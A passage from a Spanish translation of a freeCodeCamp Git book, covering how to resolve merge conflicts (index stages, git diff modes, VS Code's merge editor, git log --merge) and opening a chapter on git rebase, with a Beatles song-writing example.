</code></pre><p>De hecho, obtenemos una fusión directa - como antes de ejecutar este comando, <code>main</code> era un ancestro de <code>paul_branch_3</code>.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/fast_forward_merge.png" class="kg-image" alt="A fast-forward merge" width="600" height="400" loading="lazy"><figcaption>A fast-forward merge</figcaption></figure><p>Así que, esto es una fusión de 3 vías. En general, si todas las versiones acuerdan en una línea, luego esta línea es usada. Si <code>A</code> y la base de fusión coinciden, y <code>B</code> tiene otra versión, <code>B</code> es tomado. En el caso opuesto, donde la base de fusión y <code>B</code> coinciden, la versión <code>A</code> es seleccionado. Si <code>A</code> y <code>B</code> coinciden, esta versión es tomada, sea que la base de fusión esté de acuerdo o no.</p><p>Esta descripción deja una pregunta abierta: ¿qué sucede en casos donde todas las tres versiones están en desacuerdo?</p><p>Bueno, eso es un conflicto que Git no lo resuelve automáticamente. En estos casos, Git pide ayuda de un humano.</p><h3 id="c-mo-resolver-conflictos-de-fusi-n"><strong>Cómo resolver conflictos de fusión</strong></h3><p>Siguiendo hasta ahora, deberías entender las bases del comando <code>git merge</code>, y cómo Git puede resolver automáticamente algunos conflictos. También entiendes qué casos son resueltos automáticamente.</p><p>Ahora, consideremos un caso más avanzado.</p><p>Digamos que Paul y John continúan trabajando en esta canción.</p><p>Paul crea una nueva rama:</p><pre><code class="language-bash">git checkout -b paul_branch_4
</code></pre><p>Y él decide agregar algunos "Yeah" a la canción, así que él cambia este verso como sigue:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/paul_branch_4_additions.png" class="kg-image" alt="Paul's additions" width="600" height="400" loading="lazy"><figcaption>Paul's additions</figcaption></figure><p>Así que Paul pone en el área de preparación y confirma estos cambios:</p><pre><code class="language-bash">git add everyone.md
git commit -m "Commit 13"
</code></pre><p>Paul también crea otra canción, <code>let_it_be.md</code> y lo agrega al repo:</p><pre><code class="language-bash">git add let_it_be.md
git commit -m "Commit 14"
</code></pre><p>Este es el historial:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_commit_14.png" class="kg-image" alt="The history after Paul introduced &quot;Commit 14&quot;" width="600" height="400" loading="lazy"><figcaption>The history after Paul introduced "Commit 14"</figcaption></figure><p>Volviendo a <code>main</code>:</p><pre><code class="language-bash">git checkout main
</code></pre><p>John también crea una rama:</p><pre><code class="language-bash">git checkout -b john_branch_4
</code></pre><p>Y John también trabaja en la canción "Everyone had a hard year", luego para ser llamado "I've got a feeling" (de nuevo, esto no es un libro sobre los Beatles, así que no daré mas detalles aquí. Mira los enlaces adicionales si tienes curiosidad).</p><p>John decide cambiar todas las ocurrencias de "Everyone" to "Everybody":</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/everyone_5.png" class="kg-image" alt="John changes all occurrences of &quot;Everyone&quot; to &quot;Everybody&quot;" width="600" height="400" loading="lazy"><figcaption>John changes all occurrences of "Everyone" to "Everybody"</figcaption></figure><p>Él pone en el área de preparación y confirma esta canción al repo:</p><pre><code class="language-bash">git add everyone.md
git commit -m "Commit 15"
</code></pre><p>Bien. Ahora John también crea otra canción, <code>across_the_universe.md</code>. Él lo agrega al repo también:</p><pre><code class="language-bash">git add across_the_universe.md
git commit -m "Commit 16"
</code></pre><p>Observa el historial nuevamente:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_commit_16.png" class="kg-image" alt="The history after John introduced &quot;Commit 16&quot;" width="600" height="400" loading="lazy"><figcaption>The history after John introduced "Commit 16"</figcaption></figure><p>Puedes ver que el historial difiere de <code>main</code>, a dos ramas distintas - <code>paul_branch_4</code>, y <code>john_branch_4</code>.</p><p>A este punto, a John le gustaría fusionar los cambios introducidos por Paul.</p><p>¿Qué va a pasar aquí?</p><p>Recuerda los cambios introducidos por Paul:</p><pre><code class="language-bash">git diff main paul_branch_4
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_diff_main_paul_branch_4.png" class="kg-image" alt="The output of " width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff main paul_branch_4</code></figcaption></figure><p>¿Qué piensas? ¿La fusión funcionará?</p><p>Inténtalo:</p><pre><code class="language-bash">git merge paul_branch_4
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/merge_conflict.png" class="kg-image" alt="A merge conflict" width="600" height="400" loading="lazy"><figcaption>A merge conflict</figcaption></figure><p>¡Tenemos un conflicto!</p><p>Git no puede fusionar estas ramas por sí mismo. Puedes obtener una vista general del estado de fusión, usando <code>git status</code>:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_status_after_merge_failed.png" class="kg-image" alt="The output of  right after the merge operation" width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git status</code> right after the merge operation</figcaption></figure><p>Los cambios que Git no tuvo problema resolviendo están en el área de preparación para confimar. Y hay una sección separada para "rutas no fusionadas" - estos son archivos con conflictos que Git no podría resolver por sí mismo.</p><p>Es tiempo de entender por qué y cuando estos conflictos suceden, cómo resolverlos, y también cómo Git los maneja por debajo.</p><p>¡Muy bien entonces! Espero que al menos estés emocionado como yo. 😇</p><p>Recordemos lo que sabemos sobre fusiones de 3 vías:</p><p>Primero, Git buscará la base de fusión - el ancestro común de <code>john_branch_4</code> y <code>paul_branch_4</code>. ¿Cuál confirmación sería ese?</p><p>Sería la punta de la rama <code>main</code>, la confirmación en el cual fusionamos <code>john_branch_3</code> en <code>paul_branch_3</code>.</p><p>De vuelta, si no estás seguro, puedes verificar eso ejecutando:</p><pre><code class="language-bash">git merge-base john_branch_4 paul_branch_4
</code></pre><p>Y en el estado actual, <code>git status</code> sabe qué archivos están en el área de preparación y cuáles no.</p><p>Considera el proceso para cada <em><em>archivo</em></em>, el cual es el mismo que el algoritmo de fusión de 3 vías que consideramos por línea, pero a nivel de archivo:</p><p><code>across_the_universe.md</code> existe en la rama de John, pero no existe en la base de fusión o en la rama de Paul. Así que Git elige incluir este archivo. Ya que ya estás en la rama de John y este archivo es incluido en la punta de esta rama, no es mencionado por <code>git status</code>.</p><p><code>let_it_be.md</code> existe en la rama de Paul, pero no existe en la base de fusión o en la rama de John. Así que <code>git merge</code> "elige" incluirlo.</p><p>¿Qué hay sobre <code>everyone.md</code>? Bueno, aquí tenemos tres estados distintos de este archivo: su estado en la base de fusión, su estado en la rama de John, y su estado en la rama de Paul. Mientras se realiza una fusión, Git almacena todas estas versiones en el índice.</p><p>Observemos eso mirando directamente al índice con el comando <code>git ls-files</code>:</p><pre><code class="language-bash">git ls-files -s --abbrev
</code></pre><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/ls_files_abbrev.png" class="kg-image" alt="The output of  after the merge operation" width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git ls-files -s --abbrev</code> after the merge operation</figcaption></figure><p>Puedes ver que <code>everyone.md</code> tiene tres entradas diferentes. Git le asigna a cada versión un número que representa la "fusión" del archivo, y esta es una propiedad distinta de una entrada de índice, junto con el nombre del archivo y el modo bits.</p><p>Cuando no hay conflicto de fusión en cuanto a un archivo, su "área de preparación" es <code>0</code>. Esto es de hecho el estado para <code>across_the_universe.md</code>, y para <code>let_it_be.md</code>.</p><p>En un estado de conflicto, tenemos:</p><ul><li>Estado <code>1</code> - el cual es la base de fusión.</li><li>Estado <code>2</code> - el cual es "tu" versión. Eso es, la versión del archivo en la rama <em><em>en</em></em> la que estás fusionando. En nuestro ejemplo, este sería <code>john_branch_4</code>.</li><li>Estado <code>3</code>- el cual es "su" versión, también llamado el <code>MERGE_HEAD</code>. Eso es, la versión en la rama que estás fusionando (en la rama actual). En nuestro ejemplo, ese es <code>paul_branch_4</code>.</li></ul><p>Para observar los contenidos del archivo en un estado específico, puedes usar un comando que introduje en un post previo, <code>git cat-file</code>, y proveer el SHA del blob:</p><pre><code class="language-bash">git cat-file -p &lt;BLOB_SHA_FOR_STAGE_2&gt;
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/cat_file.png" class="kg-image" alt="Using -file to present the content of the file on John's branch, right from its state in the index" width="600" height="400" loading="lazy"><figcaption>Using <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git cat-file</code> to present the content of the file on John's branch, right from its state in the index</figcaption></figure><p>Y justamente, este es el contenido que esperábamos - de la rama de John, donde las líneas comienzan con "Everybody" en vez de "Everyone".</p><p>Un lindo truco que te permite ver el contenido rápidamente sin proveer el valor SHA-1 del blob, es usando <code>git show</code>, así:</p><pre><code class="language-bash">git show :&lt;STAGE&gt;:everyone.md
</code></pre><p>Por ejemplo, para obtener el contenido de la misma versión como con <code>git cat-file -p &lt;BLOB_SHA_FOR_STAGE_2&gt;</code>, puedes escribir <code>git show :2:everyone.md</code>.</p><p>Git registra los tres estados de los tres confirmaciones en el índice de esta forma al comienzo de la fusión. Luego continúa con el algoritmo de fusión de tres vías para resolver rápidamente los casos sencillos.</p><p>En el caso que todas las tres áreas de preparación coincidan, entonces la selección es trivial.</p><p>Si un lado hiciera un cambio mientras los otros no lo hicieron - eso es, área de preparación <code>1</code> coincide con el área de preparación <code>2</code> - entonces elegimos el área de preparación <code>3</code>, o vice versa. Eso es exactamente lo que sucedió con <code>let_it_be.md</code> y <code>across_the_universe.md</code>.</p><p>En caso de una supresión en la rama entrante, por ejemplo, y dado que no hubieron cambios en la rama actual, entonces veríamos que el stage <code>1</code> coincide con el stage <code>2</code>, pero no hay stage <code>3</code>. En este caso, <code>git merge</code> quita el archivo para la versión fusionada.</p><p>Lo que es realmente interesante aquí es para coincidir, Git no necesita los archivos actuales. Más bien, se puede basar en los valores SHA-1 de los blobs correspondientes. De esta forma, Git puede detectar fácilmente el estado en el que se encuentra un archivo.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/3_way_merge_4-1.png" class="kg-image" alt="Git performs the same 3-way merge algorithm on a files level" width="600" height="400" loading="lazy"><figcaption>Git performs the same 3-way merge algorithm on a files level</figcaption></figure><p>Para <code>everyone.md</code> tiene este caso especial - donde el área de preparación <code>1</code>, el área de preparación <code>2</code> y el área de preparación <code>3</code> son todos distintos uno del otro. Eso es, tienen SHAs de blob distintos. Es momento de ir más profundo y entender el conflicto de fusión. 😊</p><p>Una forma de hacer eso sería simplemente usar <code>git diff</code>. En un <a href="#cap-6">capítulo anterior</a>, examinamos git diff en detalle, y vimos que muestra las diferencias entre varias combinaciones del árbol de trabajo, del índice o de las confirmaciones.</p><p>Pero <code>git diff</code> también tiene un modo especial para ayudar con los conflictos de fusión:</p><pre><code class="language-bash">git diff
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_diff_conflict.png" class="kg-image" alt="The output of  during a merge conflict" width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git diff</code> during a merge conflict</figcaption></figure><p>Esta salida podría ser confuso al principio, pero una vez que te acostumbras, es bastante claro. Empecemos por entenderlo, y luego veamos cómo puede resolver los conflictos con otras herramientas mas visuales.</p><p>La sección en conflictos está separado por los signos "iguales" &nbsp;(<code>===</code>), y marcado con las ramas correspondientes. En este contexto, "el nuestro" es la rama actual. En este ejemplo, sería <code>john_branch_4</code>, la rama a la que <code>HEAD</code> estaba apuntando cuando iniciamos el comando <code>git merge</code>. "El suyo" es el <code>MERGE_HEAD</code>, la rama que estamos fusionando - en este caso, <code>paul_branch_4</code>.</p><p>Así que <code>git diff</code> sin ningun argumento especial muestra los cambios entre el árbol de trabajo y el índice - el cual en este caso son los conflictos aún por resolver. La salida no incluye cambios en el área de preparación, lo cual es conveniente para resolver el conflicto.</p><p>Es tiempo de resolver esto manualmente. ¡Qué divertido!</p><p>Así, ¿por qué esto es un conflicto?</p><p>Para Git, Paul y John hicieron distintos cambios a la misma línea, por unas pocas líneas. John lo cambió a una cosa, y Paul lo cambió a otra cosa. Git no puede decidir cuál es el correcto.</p><p>Este es no es el caso para las últimas líneas, como la línea solía ser "Everyone had a hard year" en la base de fusión. Paul no ha cambiado esta línea, o las líneas que le rodean, así su versión en paul_branch_4 o "el suyo" en nuestro caso, se pone de acuerdo con el <code>merge_base</code>. Aunque la versión de John, "el nuestro", es distinto. Así <code>git merge</code> puede decidir fácilmente que tome esta versión.</p><p>Pero, ¿qué hay sobre las líneas en conflicto?</p><p>En este caso, sé lo que quiero, y eso es en realidad una combinación de estas líneas. Quiero que las líneas comiencen con "Everybody", siguiendo el cambio de John, pero también que incluya los "yeah" de Paul. Así que ve y crea la versión deseada editando a <code>everyone.md</code>:</p><pre><code class="language-bash">nano everyone.md
</code></pre><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/everyone_6.png" class="kg-image" alt="Editing the file manually to achieve the desired state" width="600" height="400" loading="lazy"><figcaption>Editing the file manually to achieve the desired state</figcaption></figure><p>Para comparar el archivo resultante con lo que tenías en la rama previa a la fusión, puedes ejecutar:</p><pre><code class="language-bash">git diff --ours
</code></pre><p>De manera similar, si deseas ver cuánto difiere el resultado de la fusión de la rama que fusionaste en nuestra rama, puedes ejecutar:</p><pre><code class="language-bash">git diff --theirs
</code></pre><p>Inclusive puedes ver cuán distinto es el resultado de ambos lados usando:</p><pre><code class="language-bash">git diff --base
</code></pre><p>Ahora puedes poner en el área de preparación la versión arreglada:</p><pre><code class="language-bash">git add everyone.md
</code></pre><p>Después de poner en el área de preparación, si miras en <code>git status</code>, no verás conflictos:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_status_after_manual_fix.png" class="kg-image" alt="After staging the fixed version , there are no conflicts" width="600" height="400" loading="lazy"><figcaption>After staging the fixed version <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">everyone.md</code>, there are no conflicts</figcaption></figure><p>Ahora puedes simplemente usar <code>git commit</code>, y Git te presentará con un mensaje de confirmación conteniendo los detalles sobre la fusión. Puedes modificarlo si quisieras, o dejarlo como está. Sin importar del mensaje de confirmación, Git creará un "mensaje de fusión" - eso es, una confirmación con más de un precesor.</p><p>Para validar eso, considera el historial:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/history_after_merge_2.png" class="kg-image" alt="The history after completing the merge operation" width="600" height="400" loading="lazy"><figcaption>The history after completing the merge operation</figcaption></figure><p><code>john_branch_4</code> ahora apunta a la nueva confirmación de fusión. La rama entrante, "el suyo", en este caso, <code>paul_branch_4</code>, se mantiene donde estaba.</p><h3 id="c-mo-usar-vs-code-para-resolver-los-conflictos"><strong>Cómo usar VS Code para resolver los conflictos</strong></h3><p>Ahora verás cómo resolver el mismo conflicto usando una herramienta gráfica. Para este ejemplo, use VS Code, el cual es un editor de código popular y gratis. Hay muchas otras herramientas, pero el proceso es similar, así que solo mostraré VS Code como un ejemplo.</p><p>Primero, volvamos al estado antes de la fusión:</p><pre><code class="language-bash">git reset --hard HEAD~
</code></pre><p>E intentemos fusionar otra vez:</p><pre><code class="language-bash">git merge paul_branch_4
</code></pre><p>Deberías estar nuevamente al mismo estado:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_status_after_merge_failed-1.png" class="kg-image" alt="Back at the conflicting status" width="600" height="400" loading="lazy"><figcaption>Back at the conflicting status</figcaption></figure><p>Veamos cómo aparece esto en VS Code:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/vs_code_1.png" class="kg-image" alt="Conflict resolution with VS Code" width="600" height="400" loading="lazy"><figcaption>Conflict resolution with VS Code</figcaption></figure><p>VS Code marca las distintas versiones con "Current Change" - el cual es la versión de la "nuestra", el actual <code>HEAD</code>, y "Cambio Entrante" para la rama que estamos fusionando en la rama activa. Puedes aceptar uno de los cambios (o ambos) haciendo clic en una de las opciones.</p><p>Si hiciste clic en <code>Resolver en Editor de Fusión</code>, obtendrás una vista mas visual del estado. VS Code muestra el estado de cada línea:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/vs_code_2-1.png" class="kg-image" alt="VS Code's Merge Editor" width="600" height="400" loading="lazy"><figcaption>VS Code's Merge Editor</figcaption></figure><p>Si miras con atención, verás que VS Code muestra cambios dentro de las palabras - por ejemplo, muestra que "Every<strong><strong>one</strong></strong>" fue cambiado a "Every<strong><strong>body</strong></strong>", marcando las partes cambiadas.</p><p>Puedes aceptar cualquier versión, o puedes aceptar una combinación. En este caso, si haces clic en "Aceptar Combinación", obtienes este resultado:</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/vs_code_3.png" class="kg-image" alt="VS Code's Merge Editor after clicking on &quot;Accept Combination&quot;" width="600" height="400" loading="lazy"><figcaption>VS Code's Merge Editor after clicking on "Accept Combination"</figcaption></figure><p>¡VS Code hizo un excelente trabajo! El mismo algoritmo de fusión de tres vías fue implementado aquí y usado a el nivel de <em><em>palabra</em></em> en vez a nivel de <em><em>línea</em></em>. Así que VS Code fue capaz en realidad de resolver este conflicto de una forma impresionante. Por supuesto, puedes modificar la sugerencia de VS Code, pero proveyó un comienzo <em><em>muy</em></em> bueno.</p><h3 id="una-herramienta-poderosa-adicional"><strong>Una Herramienta Poderosa adicional</strong></h3><p>Bueno, este fue la primera vez en este libro que he usado una herramienta con una interfaz de usuario gráfica. De hecho, las interfaces gráficas pueden ser convenientes para entender lo que está sucediendo cuando estás resolviendo conflictos de fusión.</p><p>Sin embargo, como en muchos otros casos, cuando necesitamos realmente entender lo que está sucediendo, la línea de comando se vuelve práctico. Así que, volvamos a la línea de comandos y aprendamos una herramienta que nos puede venir bien en casos mas complicados.</p><p>De nuevo, vuelve al estado antes de la fusión:</p><pre><code class="language-bash">git reset --hard HEAD~
</code></pre><p>Y fusiona:</p><pre><code class="language-bash">git merge paul_branch_4
</code></pre><p>Y digamos, no estás seguro exactamente de lo que pasó. ¿Por qué hay un conflicto? Un comando muy útil sería:</p><pre><code class="language-bash">git log -p --merge
</code></pre><p>Como recordatorio, <code>git log</code> muestra el historial de confirmaciones que son alcanzables desde <code>HEAD</code>. Agregando <code>-p</code> le dice a <code>git log</code> que muestre las confirmaciones juntamente con los diffs que introdujeron. El argumento <code>--merge</code> hace que el comando muestre todas las confirmaciones que contienen cambios relevantes a cualquier archivo que no están en el área de preparación, en cualquier rama, junto con sus diffs.</p><p>Esto te puede ayudar en identificar los cambios en el historial que llevaron a los conflictos. Así que en este ejemplo, verías:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_log_p_merge.png" class="kg-image" alt="The output of " width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git log -p --merge</code></figcaption></figure><p>La primer confirmación que vemos es "Commit 15", ya que en ésta confirmación John modificó <code>everyone.md</code>, un archivo que todavía tiene conflictos. Luego, Git muestra "Commit 13", donde Paul cambió <code>everyone.md</code>:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_log_p_merge_2.png" class="kg-image" alt="The output of  - continued" width="600" height="400" loading="lazy"><figcaption>The output of <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">git log -p --merge</code> - continued</figcaption></figure><p>Fíjate que <code>git log --merge</code> no mencionó confirmaciones previas que cambiaron a <code>everyone.md</code> antes de "Commit 13", ya que no afectaron el conflicto actual.</p><p>De esta forma, <code>git log</code> te dice que todo lo que necesitas saber para entender el proceso que te llevó al estado de conflicto actual. ¡Genial! 😎</p><p>Usando la línea de comandos, también puedes preguntarle a Git que tome solamente un lado de los cambios - sea "el nuestro" o "el suyo", inclusive para un archivo específico.</p><p>También puedes instruir a Git que tome algunas partes de los diffs de un archivo y otro de otro archivo. Proveeré enlances que describen cómo hacer eso en los <a href="#cap-6">recursos adicionales de este capítulo en el apéndice</a>.</p><p>Para la mayor parte, puedes lograr eso bastante fácil, sea manualmente o desde la UI de tu IDE favorito.</p><p>Por ahora, es tiempo de recapitular.</p><h3 id="recapitulando-entendiendo-git-merge"><strong>Recapitulando - Entendiendo Git Merge</strong></h3><p>En este capítulo, tuviste una vista general extensiva de fusión con Git. Aprendiste que fusionar es el proceso de combinar los cambios recientes desde varias ramas en una sola confirmación. La nueva confirmación tiene dos predecesores - esas confirmaciones los cuales han sido las puntas de las ramas que fueron fusionados.</p><p>Consideramos una fusión directa sencilla, lo cual es posible cuando una rama difiere de la rama base, y luego agregamos confirmaciones por encima de la rama base.</p><p>Luego consideramos fusiones de tres vías, y explicamos el proceso de tres estados:</p><ul><li>Primero, Git localiza la base de fusión. Como recordatorio, este es la primer confirmación que es alcanzable desde ambas ramas.</li><li>Segudno, Git calcula los dos diffs - un diff desde la base de fusión a la <em><em>primer</em></em> rama, y otro diff desde la base de fusión a la <em><em>segunda</em></em> rama. Git genera parches basados en esos diffs.</li><li>Tercero y último, Git aplica ambos parches a la base de fusión usando un algoritmo de fusión de 3 vías. El resultado es el estado de la nueva confirmación de fusión.</li></ul><p>Indagamos profundamente en el proceso de fusión de 3 vías, sea a nivel de archivo o a nivel de hunk. Consideramos cuando Git es capaz de basarse en una fusión de 3 vías para resolver automáticamente los conflictos, y cuando no puede.</p><p>Viste la salida de <code>git diff</code> cuando estamos en un estado de conflicto, y cómo resolver los conficltos manualmente o con VS Code.</p><p>Hay mucho más que decir sobre las fusiones - diferentes estrategias de fusión, fusiones recursivas, y así sucesivamente. Con todo, creo que este capítulo cubrió todo lo necesario de esa forma tienes un entendimiento robusto de lo que es una fusión, y qué sucede por debajo en la vasta mayoría de casos.</p><h3 id="recursos-relacionados-a-los-beatles"><strong>Recursos relacionados a los Beatles</strong></h3><ul><li><a href="https://www.the-paulmccartney-project.com/song/ive-got-a-feeling/">https://www.the-paulmccartney-project.com/song/ive-got-a-feeling/</a></li><li><a href="https://www.cheatsheet.com/entertainment/did-john-lennon-or-paul-mccartney-write-the-classic-a-day-in-the-life.html/">https://www.cheatsheet.com/entertainment/did-john-lennon-or-paul-mccartney-write-the-classic-a-day-in-the-life.html/</a></li><li><a href="http://lifeofthebeatles.blogspot.com/2009/06/ive-got-feeling-lyrics.html">http://lifeofthebeatles.blogspot.com/2009/06/ive-got-feeling-lyrics.html</a></li></ul><!--kg-card-begin: html--><h2 id="cap-8">Capítulo 8 - Entendiendo Git Rebase</h2><!--kg-card-end: html--><p>Una de las herramientas más poderosas que tiene un desarrollador en su caja de herramientas es <code>git rebase</code>. Aunque es notorio por ser complejo e incomprendido.</p><p>La verdad es, si entiendes lo que hace en realidad, <code>git rebase</code> es una herramienta muy elegante, y directa para alcanzar muchísimas cosas diferentes en Git.</p><p>En los capítulos previos en esta parte, aprendiste qué son los diffs de Git, lo que es una fusión, y cómo Git resuelve los conflictos de fusión. En este capítulo, entenderás lo que es rebase de Git, por qué es diferente de merge, y cómo hacer rebase (sobrescribir la base) con confianza.</p><h3 id="recapitulaci-n-corta-qu-es-git-merge"><strong>Recapitulación Corta - ¿Qué es Git Merge?</strong></h3><p>Por debajo, <code>git rebase</code> y <code>git merge</code> son cosas muy muy distintas. Entonces, ¿por qué la gente los compara todo el tiempo?</p><p>La razón es su uso. Cuando se trabaja con Git, usualmente trabajamos en distintas ramas e introducimos cambios a esas ramas.</p><p>En el capítulo previo, consideramos el ejemplo donde John y Paul (de los Beatles) eran co-autores de nueva canción. Comenzaron desde la rama <code>main</code>, y luego cada uno difirió, modificaron la letra, y confirmaron sus cambios.</p><p>Luego, los dos querían <em><em>integrar</em></em> sus cambios, lo cual es algo que sucede muy frecuente cuando se trabaja con Git.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/diverging_history_commit_9.png" class="kg-image" alt="A diverging history -  and  diverged from " width="600" height="400" loading="lazy"><figcaption>A diverging history - <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">paul_branch</code> and <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">john_branch</code> diverged from <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: inherit; font-variation-settings: inherit; font-size: 0.8em; vertical-align: baseline; background: var(--gray15);">main</code></figcaption></figure><p>Hay dos formas principales para integrar cambios introducidos en diferentes ramas en Git, o en otras palabras, en diferentes confirmaciones e historiales de confirmación. Estos son merge y rebase.</p><p>En el capítulo anterior, llegamos a saber <code>git merge</code> bastante bien. Vimos que cuando realizamos una fusión, creamos una <strong><strong>confirmación de fusión</strong></strong> - donde los contenidos de esta confirmación son una combinación de las dos ramas, y también tiene dos predecesores, una en cada rama.</p><p>Así que, digamos que estás en la rama <code>john_branch</code> (asumiendo el historial representado en el dibujo de arriba), y ejecutas <code>git merge paul_branch</code>. Llegarás a este estado - donde en <code>john_branch</code>, hay una nueva confirmación con dos predecesores. El primero será la confirmación en la rama <code>john_branch</code> donde el <code>HEAD</code> estaba apuntando a un estado antes de realizar la fusión - en este caso, "Commit 6". El segundo será la confirmación a la que apunta <code>paul_branch</code>, "Commit 9".</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://www.freecodecamp.org/news/content/images/2023/12/git_merge_paul_branch.png" class="kg-image" alt="The result of running : a new Merge Commit with two parents" width="600" height="400" loading="lazy"><figcaption>The result of running <code style="box-sizing: inherit; margin: 0px; padding: 0px 5px 2px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: 400 !important; font-stretch: inherit; line-height: 1em; font-family: &quot;Roboto Mono&quot;, monospace; font-optical-sizing: inherit; font-kerning: inherit; font-feature-settings: 